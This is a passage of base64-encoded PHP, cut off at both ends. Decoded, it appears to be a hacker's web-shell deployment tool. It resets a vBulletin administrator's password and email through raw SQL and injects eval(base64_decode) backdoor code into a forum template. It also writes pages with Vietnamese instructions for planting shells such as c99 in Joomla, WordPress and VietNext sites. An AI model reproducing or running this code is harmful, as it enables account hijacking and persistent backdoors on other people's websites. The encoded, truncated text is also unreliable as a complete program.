xaE95QmliM0prWlhJNklERndlQ0J6YjJ4cFpDQWpOalkyTmpZMk95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpSa1pHUmtaR0p6NDhZbkkrQ2p4bWIyNTBJR1poWTJVOUowRnlhV0ZzSnlCamIyeHZjajBuSXpBd01EQXdNQ2MrUkVJZ2RYTmxjanhpY2o0OEwyWnZiblErUEdsdWNIVjBJSFpoYkhWbFBYVnpaWElnZEhsd1pUMTBaWGgwSUc1aGJXVTlaR0oxYzJWeUlITnBlbVU5SnpVd0p5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFE3SUdOdmJHOXlPaUFqTURBd01EQXdPeUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3lCaWIzSmtaWEk2SURGd2VDQnpiMnhwWkNBak5qWTJOalkyT3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSno0OFluSStDanhtYjI1MElHWmhZMlU5SjBGeWFXRnNKeUJqYjJ4dmNqMG5JekF3TURBd01DYytSRUlnWkdKd1lYTnpQR0p5UGp3dlptOXVkRDQ4YVc1d2RYUWdkbUZzZFdVOWNHRnpjeUIwZVhCbFBYUmxlSFFnYm1GdFpUMWtZbkJoYzNNZ2MybDZaVDBuTlRBbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkRHNnWTI5c2IzSTZJQ013TURBd01EQTdJR1p2Ym5RdFptRnRhV3g1T2lCVVlXaHZiV0U3SUdKdmNtUmxjam9nTVhCNElITnZiR2xrSUNNMk5qWTJOalk3SUdKaFkydG5jbTkxYm1RdFkyOXNiM0k2SUNOR1JrWkdSa1luUGp4aWNqNEtQR1p2Ym5RZ1ptRmpaVDBuUVhKcFlXd25JR052Ykc5eVBTY2pNREF3TURBd0p6NVVZV0pzWlNCd2NtVm1hWGc4WW5JK1BDOW1iMjUwUGp4cGJuQjFkQ0IyWVd4MVpUMG5kbUppWHljZ2RIbHdaVDEwWlhoMElHNWhiV1U5Y0hKbFptbDRJSE5wZW1VOUp6VXdKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRN0lHTnZiRzl5T2lBak1EQXdNREF3T3lCbWIyNTBMV1poYldsc2VUb2dWR0ZvYjIxaE95QmliM0prWlhJNklERndlQ0J6YjJ4cFpDQWpOalkyTmpZMk95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpSa1pHUmtaR0p6NDhZbkkrQ2p4bWIyNTBJR1poWTJVOUowRnlhV0ZzSnlCamIyeHZjajBuSXpBd01EQXdNQ2MrVlhObGNpQmhaRzFwYmp4aWNqNDhMMlp2Ym5RK1BHbHVjSFYwSUhaaGJIVmxQWEp2YjNRZ2RIbHdaVDEwWlhoMElHNWhiV1U5ZFhObGNpQnphWHBsUFNjMU1DY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwT3lCamIyeHZjam9nSXpBd01EQXdNRHNnWm05dWRDMW1ZVzFwYkhrNklGUmhhRzl0WVRzZ1ltOXlaR1Z5T2lBeGNIZ2djMjlzYVdRZ0l6WTJOalkyTmpzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0kwWkdSa1pHUmljK1BHSnlQZ284Wm05dWRDQm1ZV05sUFNkQmNtbGhiQ2NnWTI5c2IzSTlKeU13TURBd01EQW5QazVsZHlCd1lYTnpJR0ZrYldsdVBHSnlQand2Wm05dWRENDhhVzV3ZFhRZ2RtRnNkV1U5TVRJek5EVTJJSFI1Y0dVOWRHVjRkQ0J1WVcxbFBYQmhjM01nYzJsNlpUMG5OVEFuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2REc2dZMjlzYjNJNklDTXdNREF3TURBN0lHWnZiblF0Wm1GdGFXeDVPaUJVWVdodmJXRTdJR0p2Y21SbGNqb2dNWEI0SUhOdmJHbGtJQ00yTmpZMk5qWTdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtaR1JrWW5QanhpY2o0S1BHWnZiblFnWm1GalpUMG5RWEpwWVd3bklHTnZiRzl5UFNjak1EQXdNREF3Sno1T1pYY2dSUzF0WVdsc0lHRmtiV2x1UEdKeVBqd3ZabTl1ZEQ0OGFXNXdkWFFnZG1Gc2RXVTlhM2x0YkdwdWEwQjVZV2h2Ynk1amIyMGdkSGx3WlQxMFpYaDBJRzVoYldVOVpXMWhhV3dnYzJsNlpUMG5OVEFuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2REc2dZMjlzYjNJNklDTXdNREF3TURBN0lHWnZiblF0Wm1GdGFXeDVPaUJVWVdodmJXRTdJR0p2Y21SbGNqb2dNWEI0SUhOdmJHbGtJQ00yTmpZMk5qWTdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtaR1JrWW5QanhpY2o0S1BHWnZiblFnWm1GalpUMG5RWEpwWVd3bklHTnZiRzl5UFNjak1EQXdNREF3Sno1RGIyUmxJRk5vWld4c1BHSnlQand2Wm05dWRENDhkR1Y0ZEdGeVpXRWdibUZ0WlQwaVpHRjBZU0lnWTI5c2N6MGlOREFpSUhKdmQzTTlJakV3SWo0a2MzQmhZMlZ5WDI5d1pXNEtleVI3WlhaaGJDaGlZWE5sTmpSZlpHVmpiMlJsS0NKaFYxbHZZVmhPZWxwWVVXOUtSamxSVkRGT1ZWZDVaRlJrVjBvZ2RHRllVVzVZVTJ0d1pYY3dTMGxEUVdkSlExSnRZVmQ0YkZwSGJIbEpSREJuU1dsSk4wbEJNRXRKUTBGblNVTlNkRmtnV0dodFlWZDRiRWxFTUdkS2VrbDNUVVJCZDAxRVFXNVBkekJMUkZGdlowbERRV2RLU0ZaNldsaEtiV0ZYZUd4WU1qVWdhR0pYVldkUVUwRnJXREJhU2xSRlZsUlhlV1J3WWxkR2JscFRaR1JYZVdSMVdWY3hiRW94TURkRVVXOW5TVU5CWjBvZ1NGWjZXbGhLYldGWGVHeFlNMUowWTBOQk9VbERVbVpTYTJ4TlVsWk9Za295YkhSWlYyUnNTakV4WWtvelVuUmpSamtnZFZsWE1XeEtNVEEzUkZGdlowbERRV2RoVjFsblMwZHNlbU15VmpCTFExSm1VbXRzVFZKV1RtSktNbXgwV1Zka2JFb2dNVEZpU2pJMWFHSlhWVzVZVTJ0d1NVaHpUa05wUVdkSlEwRm5TVU5CWjBwSFJtbGlNbEZuVUZOQmExcHRiSE5hVjFJZ2NHTnBOR3RrV0U1c1kyMWFjR0pIVm1aaWJVWjBXbFJ6VGtOcFFXZEpRMEZuU1VOQloxRkhNWFprYlZabVpGaENjMklnTWtacldsZFNabHB0YkhOYVUyZHJaRmhPYkdOdFduQmlSMVptWkVjeGQweERRV3RaVjBwMldrTnJOMFJSYjJkSlFUQWdTMXBYVG05aWVVazRXVEpXZFdSSFZubFFhbmhwVUd0U2RtSnRWV2RRVkRBclNVTlNNV015Vm5sYWJXeHpXbFk1ZFZrZ1Z6RnNVRU01YVZCcWQzWlpNbFoxWkVkV2VWQnBTVGRFVVhBNVJGRndPVVJSY0d4aVNFNXNaWGN3UzFwWFRtOWllV01nVGtOcWVHMWlNMHAwU1VjeGJHUkhhSFphUkRCcFZVVTVWRlpEU1dkWlYwNHdZVmM1ZFZCVFNXbEpSMVoxV1ROU05XTWdSMVU1U1cweE1XSklVbkJqUjBaNVpFTTViV0l6U25STVYxSm9aRWRGYVZCcWVIQmlia0l4WkVOQ01HVllRbXhRVTBvZ2JXRlhlR3hKYVVKMVdWY3hiRkJUU25CaVYwWnVXbE5KSzFCSGJIVmpTRll3U1VoU05XTkhWVGxKYkU0eFdXMHhjR1FnUTBsblltMUdkRnBVTUdsVk0xWnBZbGRzTUVscFFqSlpWM2d4V2xRd2FWVXpWbWxpVjJ3d1NXbzBPRXd5V25aamJUQWdLMHA2YzA1RGJqQTlJaWtwZlgxN0pIdGxlR2wwS0NsOWZTWUtKRjl3YUhCcGJtTnNkV1JsWDI5MWRIQjFkRHd2ZEdWNGRHRnlaV0UrUEdKeVBnbzhhVzV3ZFhRZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOUowTm9ZVzVuWlNjZ1BqeGljajRLUEM5bWIzSnRQand2WTJWdWRHVnlQZ284TDJoMGJXdytDancvQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzS0pHaHZjM1J1WVcxbElEMGdKRjlRVDFOVVd5ZG9iM04wYm1GdFpTZGRPd29rWkdKdVlXMWxJRDBnSkY5UVQxTlVXeWRrWW01aGJXVW5YVHNLSkdSaWRYTmxjaUE5SUNSZlVFOVRWRnNuWkdKMWMyVnlKMTA3Q2lSa1luQmhjM01nUFNBa1gxQlBVMVJiSjJSaWNHRnpjeWRkT3dva2RYTmxjajF6ZEhKZmNtVndiR0ZqWlNnaVhDY2lMQ0luSWl3a2RYTmxjaWs3Q2lSelpYUmZkWE5sY2lBOUlDUmZVRTlUVkZzbmRYTmxjaWRkT3dva2NHRnpjejF6ZEhKZmNtVndiR0ZqWlNnaVhDY2lMQ0luSWl3a2NHRnpjeWs3Q2lSelpYUmZjR0Z6Y3lBOUlDUmZVRTlUVkZzbmNHRnpjeWRkT3dva1pXMWhhV3c5YzNSeVgzSmxjR3hoWTJVb0lsd25JaXdpSnlJc0pHVnRZV2xzS1RzS0pITmxkRjlsYldGcGJDQTlJQ1JmVUU5VFZGc25aVzFoYVd3blhUc0tKSFppWDNCeVpXWnBlQ0E5SUNSZlVFOVRWRnNuY0hKbFptbDRKMTA3Q2lSa1lYUmhJRDBnSkY5UVQxTlVXeWRrWVhSaEoxMDdDaVJ6WlhSZlpHRjBZU0F1UFNBb0lpUmtZWFJoSWlrN0NpUjBZV0pzWlY5dVlXMWxJRDBnSkhaaVgzQnlaV1pwZUM0aWRYTmxjaUk3Q2lSMFlXSnNaVjl1WVcxbE1pQTlJQ1IyWWw5d2NtVm1hWGd1SW5SbGJYQnNZWFJsSWpzS0NrQnRlWE54YkY5amIyNXVaV04wS0NSb2IzTjBibUZ0WlN3a1pHSjFjMlZ5TENSa1luQmhjM01wT3dwQWJYbHpjV3hmYzJWc1pXTjBYMlJpS0NSa1ltNWhiV1VwT3dvS0pIRjFaWEo1SUQwZ0ozTmxiR1ZqZENBcUlHWnliMjBnSnlBdUlDUjBZV0pzWlY5dVlXMWxJQzRnSnlCM2FHVnlaU0IxYzJWeWJtRnRaVDBpSnlBdUlDUnpaWFJmZFhObGNpQXVJQ2NpT3ljN0NpUnlaWE4xYkhRZ1BTQnRlWE54YkY5eGRXVnllU2drY1hWbGNua3BPd29rY205M0lEMGdiWGx6Y1d4ZlptVjBZMmhmWVhKeVlYa29KSEpsYzNWc2RDazdDaVJ6WVd4MElEMGdKSEp2ZDFzbmMyRnNkQ2RkT3dva2NHRnpjekVnUFNCdFpEVW9KSE5sZEY5d1lYTnpLVHNLSkhCaGMzTXlJRDBnYldRMUtDUndZWE56TVNBdUlDUnpZV3gwS1RzS0NpUnhkV1Z5Y25reElEMGdKMVZRUkVGVVJTQW5JQzRnSkhSaFlteGxYMjVoYldVZ0xpQW5JRk5GVkNCd1lYTnpkMjl5WkQwaUp5QXVJQ1J3WVhOek1pQXVJQ2NpSUZkSVJWSkZJSFZ6WlhKdVlXMWxQU0luSUM0Z0pITmxkRjkxYzJWeUlDNGdKeUk3SnpzS0pIRjFaWEp5ZVRJZ1BTQW5WVkJFUVZSRklDY2dMaUFrZEdGaWJHVmZibUZ0WlNBdUlDY2dVMFZVSUdWdFlXbHNQU0luSUM0Z0pITmxkRjlsYldGcGJDQXVJQ2NpSUZkSVJWSkZJSFZ6WlhKdVlXMWxQU0luSUM0Z0pITmxkRjkxYzJWeUlDNGdKeUk3SnpzS0pIRjFaWEp5ZVRNZ1BTQW5WVkJFUVZSRklDY2dMaUFrZEdGaWJHVmZibUZ0WlRJZ0xpQW5JRk5GVkNCMFpXMXdiR0YwWlNBOUlpY2dMaUFrYzJWMFgyUmhkR0VnTGlBbklpQlhTRVZTUlNCMGFYUnNaU0E5SUNKbVlYRWlPeWM3Q2dva2Iyc3hQVUJ0ZVhOeGJGOXhkV1Z5ZVNna2NYVmxjbko1TVNrN0NpUnZhekU5UUcxNWMzRnNYM0YxWlhKNUtDUnhkV1Z5Y25reUtUc0tKRzlyTVQxQWJYbHpjV3hmY1hWbGNua29KSEYxWlhKeWVUTXBPd29LYVdZb0pHOXJNU2w3Q21WamFHOGdJanh6WTNKcGNIUStZV3hsY25Rb0ozWkNkV3hzWlhScGJpQnBibVp2SUdOb1lXNW5aV1FnWVc1a0lGTm9aV3hzSUdGMllXbHNZV0pzWlNCcGN5Qm1ZWEV1Y0dod0lEb3BKeWs3UEM5elkzSnBjSFErSWpzS2ZRby9QaUE9Cic7CgokZmlsZSA9IGZvcGVuKCJ2YmIucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC92YmIucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQoKaWYgKGlzc2V0KCRfUE9TVFsnamwnXSkpCnsKICAgIG1rZGlyKCd1cHNoZWxsJywgMDc1NSk7CiAgICBjaGRpcigndXBzaGVsbCcpOwokY29uZmlnc2hlbGwgPSAnUEdoMGJXdytQR2hsWVdRK0NnbzhiV1YwWVNCb2RIUndMV1Z4ZFdsMlBTSkRiMjUwWlc1MExWUjVjR1VpSUdOdmJuUmxiblE5SW5SbGVIUXZhSFJ0YkRzZ1kyaGhjbk5sZEQxMWRHWXRPQ0krQ2dvS1BHSStQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo0OGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklHSnNkV1U3SWo1RHc2RmphQ0F4SURvZ1BDOXpjR0Z1UGp4aWNpQXZQZ3BmVEc5aFpDQXZZV1J0YVc1cGMzUnlZWFJ2Y2lBbVozUTdJRWRzYjJKaGJDQkRiMjVtYVdkMWNtRjBhVzl1SUNabmREc2dVM2x6ZEdWeWJTQW1aM1E3SUUxbFpHbGhJRk5sZEhScGJtY2dKbWQwT3lCMGFNT3FiU0RFa2VHN2kyNW9JR1RodXFGdVp5QThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBpNXdhSEE4TDNOd1lXNCtQR0p5SUM4K0NsOVRZWFVneEpIRHN5QjJ3NkJ2SUUxbFpHbGhJRTFoYm1GblpYSWdkWEFnUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajV6YUdWc2JDNXdhSEE4TDNOd1lXNCtQR0p5SUM4K0NsOURhT0c2b1hrZ2MyaGxiR3c2SUR4aElHaHlaV1k5SW1oMGRIQTZMeTkyYVdOMGFXMHZhVzFoWjJWekwzTm9aV3hzTG5Cb2NDSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaVBtaDBkSEE2THk5MmFXTjBhVzB2YVcxaFoyVnpMM05vWld4c0xuQm9jRHd2WVQ0bWJtSnpjRHM4TDNOd1lXNCtQQzlpUGp4aWNpQXZQZ284WW5JZ0x6NEtQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJpYkhWbE95SStQR0krUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqNUR3NkZqYUNBOGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPaUJzWVhKblpUc2lQakk4TDNOd1lXNCtJRHBGWkdsMElIUmxiWEE4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBteGxQQzl6Y0dGdVBpQktiMjFzWVNadVluTndPend2YzNCaGJqNDhMMkkrUEM5emNHRnVQanhpY2lBdlBnbzhZajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBrTm93N3B1WnlCMFlTQjJ3NkJ2SUhCbzRicW5iaUIwWlcxd2JHRjBaU0FnSm1kME95QmxaR2wwSUdQRG9Xa2dQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJ5WldRN0lqNXBibVJsZUM1d2FIQThMM053WVc0K0lERWdZenh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNklHeGhjbWRsT3lJK3c2RnBJRHd2YzNCaGJqNTBaVzF3YkdGMFpTQmlQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo3aHVxVjBJR3M4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBzT3NJQzBtWjNRN0lITmhkbVU4TDNOd1lXNCtQQzl6Y0dGdVBqd3ZjM0JoYmo0OEwySStQR0p5SUM4K0NqeGljaUF2UGdvOFlqNDhjM0JoYmlCemRIbHNaVDBpWm05dWRDMXphWHBsT2lCc1lYSm5aVHNpUGp4emNHRnVJSE4wZVd4bFBTSm1iMjUwTFhOcGVtVTZJR3hoY21kbE95SStQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo1amFEeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2SUd4aGNtZGxPeUkrNGJxaGVTQnphR1ZzYkNCMlBITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajdodTV0cElEeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2SUd4aGNtZGxPeUkrY0dGMGFDQjBQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo3aHU1dHBJRHh6Y0dGdUlITjBlV3hsUFNKamIyeHZjam9nY21Wa095SSthVzVrWlhndWNHaHdQQzl6Y0dGdVBpQThjM0JoYmlCemRIbHNaVDBpWm05dWRDMXphWHBsT2lCc1lYSm5aVHNpUHNTUlBITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajdEc3p3dmMzQmhiajQ4TDNOd1lXNCtQQzl6Y0dGdVBqd3ZjM0JoYmo0OEwzTndZVzQrUEM5emNHRnVQaUE4TDNOd1lXNCtQQzl6Y0dGdVBqd3ZjM0JoYmo0OEwySStQR0p5SUM4K0Nqd3ZhSFJ0YkQ0PQonOwoKJGZpbGUgPSBmb3BlbigiamwucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9qbC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ3dwJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK1BDOXpjR0Z1UGdvS1BHSStROE9oWTJnZ01TQTZQQzlpUGp4emNHRnVJSE4wZVd4bFBTSmpiMnh2Y2pvZ1lteDFaVHNpUGp4aVBsQk1WVWRKVGxNOEwySStQQzl6Y0dGdVBqeGljaUF2UGdvOFlqNG1ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzZ0t5QWlRVVJFSUU1RlZ5QlFURlZIU1U0aVBDOWlQanhpY2lBdlBnbzhZajRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc2dLeVp1WW5Od095QWlWVkJNVDBGRUlpQThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBrTTVPUzVhU1ZBOEwzTndZVzQrUEM5aVBqeGljaUF2UGdvOFlqNG1ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzZ0t5QThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBpOTNjQzFqYjI1MFpXNTBMM0JzZFdkcGJuTXZZems1TDJNNU9TNXdhSEE4TDNOd1lXNCtQQzlpUGp4aWNpQXZQZ284WW5JZ0x6NEtQR0krUThPaFkyZ2dNaUE2SUVWa2FYUWdNU0J3YkhWbmFXNGdZdUc2cFhRZ2E4T3NJQ2dnUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajVoYTJsemJXVjBJQ2s4TDNOd1lXNCtQQzlpUGp4aWNpQXZQZ284YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUNNeU56UmxNVE03SWo0OFlqNG1ibUp6Y0R0TGFHa2dZMjl3ZVNCamIyUmxJR052YmlCemFHVnNiQ0IydzZCdklIUm93NndnYzJGMlpTQmk0YnVMSUd6aHU1ZHBKbTVpYzNBN0lDWm5kRHNtWjNRN0lIWnA0YnEvZENCaTRicXRlU0JpNGJxaElIYkRvRzhnS0dGelpHRnpaR0Z6WkhNcElDWm5kRHNtWjNRN0lITmhkbVVnYjJzbWJtSnpjRHNnSm1kME95Wm5kRHNnWTI5d2VTQnR3Nk1nYm1kMTRidVRiaUJqYjI0Z2MyaGxiR3dnSm1kME95Wm5kRHNnYzJGMlpTQnZheUJvNGJxL2RDQnM0YnVYYVR3dllqNDhMM053WVc0K1BHSnlJQzgrQ2p4aVBqeHpjR0Z1SUhOMGVXeGxQU0pqYjJ4dmNqb2djbVZrT3lJK1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliR0ZqYXpzaVBpWnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095QXJQQzl6Y0dGdVBqeHpjR0Z1SUhOMGVXeGxQU0pqYjJ4dmNqb2dJekkzTkdVeE16c2lQaUE4TDNOd1lXNCtMM2R3TFdOdmJuUmxiblF2Y0d4MVoybHVjeTloYTJsemJXVjBMMkZyYVhOdFpYUXVjR2h3SUR3dmMzQmhiajQ4TDJJKwonOwoKJGZpbGUgPSBmb3Blbigid3AucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC93cC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ3ZuJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crUEdobFlXUStDZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJK0Nnb0tQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJpYkhWbE95SStQR0krVm1sbGRFNWxlSFFnS0U1VlMwVWdNeUFwT2p3dllqNDhMM053WVc0K1BHSnlJQzgrQ2p4aVBqeGljaUF2UGp3dllqNEtQR0krUkU5WFRreFBRVVFnTVNCRHc0RkpJRlJGVFZCTVJTQkQ0YnVtUVNCT1ZVdEZJQzBtWjNRN1BDOWlQanhpY2lBdlBnbzhZajR0Sm1kME95QkZSRWxVSUVOUFJFVWdNU0JVVWs5T1J5QkR3NEZESUVaSlRFVWd4SkREa3lBdEptZDBPeUJEU01PSVRpQThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBrTlBSRVVnVTBoRlRFdzhMM053WVc0K0lGYkRnRThtYm1KemNEczhMMkkrUEdKeUlDOCtDanhpUGkwbVozUTdJRnBKVUNCTTRicWdTVHd2WWo0OFluSWdMejRLUEdJK0xTWm5kRHNnVlZBZ1ZFVk5VRXhGUEM5aVBqeGljaUF2UGdvOFlqNHRKbWQwT3lCVFJWUlZVRHd2WWo0OFluSWdMejRLUEdJK0xTWm5kRHNnVk1PTVRTQlFRVlJJSUZOSVJVeE1QQzlpUGp4aWNpQXZQZ284WWo0OGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklISmxaRHNpUGp4aWNpQXZQand2YzNCaGJqNDhMMkkrQ2p4aWNpQXZQZ284TDJoMGJXdysKJzsKCiRmaWxlID0gZm9wZW4oInZuLnBocCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25maWdzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImJiLnBocCIsMDc1NSk7CiAgIGVjaG8gIjxpZnJhbWUgc3JjPXVwc2hlbGwvdm4ucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQppZiAoaXNzZXQoJF9QT1NUWydiYiddKSkKewogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsKICAgIGNoZGlyKCd1cHNoZWxsJyk7CiRjb25maWdzaGVsbCA9ICdQR2gwYld3K1BHaGxZV1ErQ2dvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSStDZ29LUEdJK1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQnlaV1E3SWo1UlZlRzZvazRnVE1PZElGVlRSVkl0Sm1kME95QThMM053WVc0K1BHSnlJQzgrSm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3SUNzZ0lsRlZXZUc3Z0U0Z1ZPRzZva2tnVE1PS1RpQWlQR0p5SUM4K0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0lDc2dJa05JVHlCUVNNT0pVQ0RFa0ZYRGxFa2dUZUc3bmlCUzRidVlUa2NnSWp4aWNpQXZQaVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3lBcklGUkl3NHBOSU1TUTRidUtUa2dnUk9HNm9FNUhJQ0lnVUVoUUlDSThZbklnTHo0OFluSWdMejQ4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUhKbFpEc2lQbEZWNGJxaVRpQk13NTBnUXNPQVNTQldTZUc2dmxRdEptZDBPend2YzNCaGJqNDhZbklnTHo0bWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzZ0t5QWlVVlhodXFKT0lFekRuU0JVU2VHN2hsQWdWRWxPSUZUaHVxSkpJRXpEaWs0Z0lqeGljaUF2UGladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3lBcklGVlFURTlCUkR4aWNpQXZQanhpY2lBdlBqeHpjR0Z1SUhOMGVXeGxQU0pqYjJ4dmNqb2djbVZrT3lJK1ExTkVUQ0F0Sm1kME95Qk5XVk5SVER3dmMzQmhiajQ4WW5JZ0x6NDhjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJR0pzZFdVN0lqNXpaV3hsWTNRZ0tpQm1jbTl0SUdKdllteHZaMTkxY0d4dllXUThMM053WVc0K1BDOWlQanhpY2lBdlBnbzhZajQ4WW5JZ0x6NVV3NHhOSUZOSVJVeE1MbEJJVUR3dllqNDhZbklnTHo0S1BHSStQR0p5SUM4K1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK0ptNWljM0E3TDJGMGRHRmphRzFsYm5RdmVIaDRlSGg0ZUhOb1pXeHNMbkJvY0R3dmMzQmhiajQ4TDJJK0Nqd3ZhSFJ0YkQ0PQonOwoKJGZpbGUgPSBmb3BlbigiYmIucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyA